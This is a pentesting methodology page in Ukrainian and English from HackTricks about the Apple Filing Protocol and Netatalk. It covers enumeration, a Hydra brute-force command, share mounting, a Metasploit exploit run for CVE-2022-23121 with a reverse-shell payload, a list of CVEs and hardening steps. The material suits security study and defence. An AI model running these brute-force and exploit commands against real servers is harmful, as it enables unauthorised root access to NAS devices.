548 - Pentesting Протокол обміну файлами Apple (AFP)

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

Основна інформація

The Apple Filing Protocol (AFP), колись відомий як AppleTalk Filing Protocol, — це спеціалізований мережевий протокол, що входить до складу Apple File Service (AFS). Він призначений для надання файлових сервісів для macOS та класичної Mac OS. AFP вирізняється підтримкою Unicode імен файлів, POSIX-style та ACL прав доступу, resource forks, іменованих розширених атрибутів та складних механізмів блокування файлів.

Хоча AFP був витіснений SMB у сучасних релізах macOS (SMB є за замовчуванням з OS X 10.9), його все ще зустрічають у:

  • Застарілих середовищах macOS / Mac OS 9
  • NAS-пристроях (QNAP, Synology, Western Digital, TrueNAS…) які вбудовують open-source Netatalk демон
  • Змішаних ОС мережах, де Time-Machine-over-AFP все ще увімкнено

Порт TCP за замовчуванням: 548 (AFP over TCP / DSI)

PORT     STATE SERVICE
548/tcp  open  afp

Перелічення

Швидкий банер / інформація про сервер

# Metasploit auxiliary
use auxiliary/scanner/afp/afp_server_info
run RHOSTS=<IP>

# Nmap NSE
nmap -p 548 -sV --script "afp-* and not dos" <IP>

Корисні AFP NSE скрипти:

СкриптЩо робить
afp-lsПерелічити доступні AFP томи та файли
afp-bruteBrute-force пароля проти входу в AFP
afp-serverinfoВивести ім’я сервера, тип машини, версію AFP, підтримувані UAM та ін.
afp-showmountПерелічити шари разом з їхніми ACL
afp-path-vulnВиявляє (та може експлуатувати) directory-traversal, CVE-2010-0533

NSE brute-force скрипт можна поєднати з Hydra/Medusa, якщо потрібен більший контроль:

hydra -L users.txt -P passwords.txt afp://<IP>

Якщо у вас уже є облікові дані, Nmap’s AFP scripts стають набагато кориснішими, оскільки afp-serverinfo leaks рекламовані UAMs (auth methods), тоді як afp-showmount і afp-ls можуть перерахувати reachable shares, ACLs та цікаві файли:

nmap -p 548 --script afp-serverinfo,afp-showmount,afp-ls \
--script-args 'afp.username=<USER>,afp.password=<PASS>,ls.maxdepth=2,ls.maxfiles=50' <IP>

Pay attention to:

  • Machine Type: Netatalk in afp-serverinfo output, which usually means a NAS / Unix host rather than Apple’s own AFP implementation.
  • UAMs such as DHX, DHX2, Cleartxt or Guest, because they directly hint at the reachable login paths and whether legacy / weak auth is enabled.
  • Share ACLs from afp-showmount; world-readable or drop-box style shares often expose backups, .appl files, and user metadata before you ever mount the volume.

Interacting with shares

macOS

# Finder → Go → "Connect to Server…"
# or from terminal
mkdir /Volumes/afp
mount_afp afp://USER:[email protected]/SHARE /Volumes/afp

Linux (з використанням afpfs-ng ‑ доступний у більшості дистрибутивів)

apt install afpfs-ng
mkdir /mnt/afp
mount_afp afp://USER:[email protected]/SHARE /mnt/afp
# or interactive client
afp_client <IP>

Once mounted, remember that classic Mac resource-forks are stored as hidden ._* AppleDouble files – these often hold interesting metadata that DFIR tools miss.

On Netatalk targets this metadata backend also matters for exploitability:

  • ea = ad means metadata is stored in AppleDouble v2 files / .AppleDouble directories.
  • ea = sys or ea = samba stores metadata in filesystem extended attributes instead.
  • In Netatalk 4.2+ the old appledouble option was removed and the backend is controlled solely through the ea option.

From an offensive perspective, this lets you quickly decide whether AppleDouble-oriented bugs are more likely to be reachable on the server.


Common Vulnerabilities & Exploitation

Netatalk unauthenticated RCE chain (2022)

Several NAS vendors shipped Netatalk ≤3.1.12. A lack of bounds checking in parse_entries() allows an attacker to craft a malicious AppleDouble header and obtain remote root before authentication (CVSS 9.8 – CVE-2022-23121). A full write-up by NCC Group with PoC exploiting Western-Digital PR4100 is available.

Metasploit (>= 6.3) ships the module exploit/linux/netatalk/parse_entries which delivers the payload via DSI WRITE.

use exploit/linux/netatalk/parse_entries
set RHOSTS <IP>
set TARGET 0   # Automatic (Netatalk)
set PAYLOAD linux/x64/meterpreter_reverse_tcp
run

If the target runs an affected QNAP/Synology firmware, successful exploitation yields a shell as root.

Netatalk OpenSession heap overflow (2018)

Старіші версії Netatalk (3.0.0 - 3.1.11) вразливі до запису поза межами буфера в обробнику DSI OpenSession, що дозволяє неаутентифіковане виконання коду (CVE-2018-1160). Детальний аналіз та PoC були опубліковані Tenable Research.

Newer Netatalk attack surface (2022-2024)

Останні advisories Netatalk показують, що attack surface більше не обмежується parse_entries() та обробкою OpenSession:

  • CVE-2022-45188: спеціально сформований .appl файл може викликати heap overflow в afp_getappl; це особливо актуально, якщо ви можете write files into a share і сервер запускає FCE / notify features.
  • CVE-2023-42464: баг типу type confusion в обробниках Spotlight RPC може стати доступним, коли spotlight = yes увімкнено в afp.conf (за замовчуванням вимкнено).
  • CVE-2024-38439 / CVE-2024-38440 / CVE-2024-38441: одно-байтові heap out-of-bounds записи в шляхах, пов’язаних із логіном, виправлені в Netatalk 2.4.1 / 3.1.19 / 3.2.1. Ці баги цікаві тим, що експлойтибельність залежить від конфігурованих UAMs:
    • uams_clrtxt.so + PAM-backed ClearTxt login exposes the FPLoginExt path relevant to CVE-2024-38439.
    • uams_dhx.so + PAM-backed DHX login reaches the vulnerable path for CVE-2024-38440.
    • uams_guest.so keeps the Guest login path reachable for CVE-2024-38441.

Це означає, що вивід afp-serverinfo — це не просто дані для fingerprinting; він допомагає вирішити, який login parser відкритий, перш ніж витрачати час на розробку експлоїту або triage прошивки NAS.

Other notable issues

  • CVE-2022-22995 – перенаправлення symlink, що призводить до довільного запису файлу / RCE, коли AppleDouble v2 увімкнено (3.1.0 - 3.1.17).
  • CVE-2010-0533 – directory traversal в Apple Mac OS X 10.6 AFP (виявлено afp-path-vuln.nse).
  • У релізах 2024 Netatalk було виправлено кілька помилок безпеки пам’яті; якщо ви ідентифікували Netatalk у afp-serverinfo, приділіть хвилину кореляції відкритих UAMs / Spotlight / metadata backend з версією сервера, перш ніж припускати, що мають значення лише баги 2018/2022 років.

Рекомендації щодо захисту

  1. Вимкніть AFP якщо це не строго необхідно — використовуйте замість нього SMB3 або NFS.
  2. Якщо AFP має залишатися, оновіть Netatalk до ≥ 3.1.18 або 4.x, або застосуйте прошивку вендора, яка back-ports патчі 2022/2023/2024.
  3. Встановіть Strong UAMs (наприклад DHX2), вимкніть clear-text та guest логіни.
  4. Обмежте доступ до TCP 548 довіреними підмережами та помістіть AFP всередину VPN, якщо він доступний ззовні.
  5. Періодично скануйте за допомогою nmap -p 548 --script afp-* у CI/CD, щоб виявляти rogue / downgraded пристрої.

Brute-Force

References

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks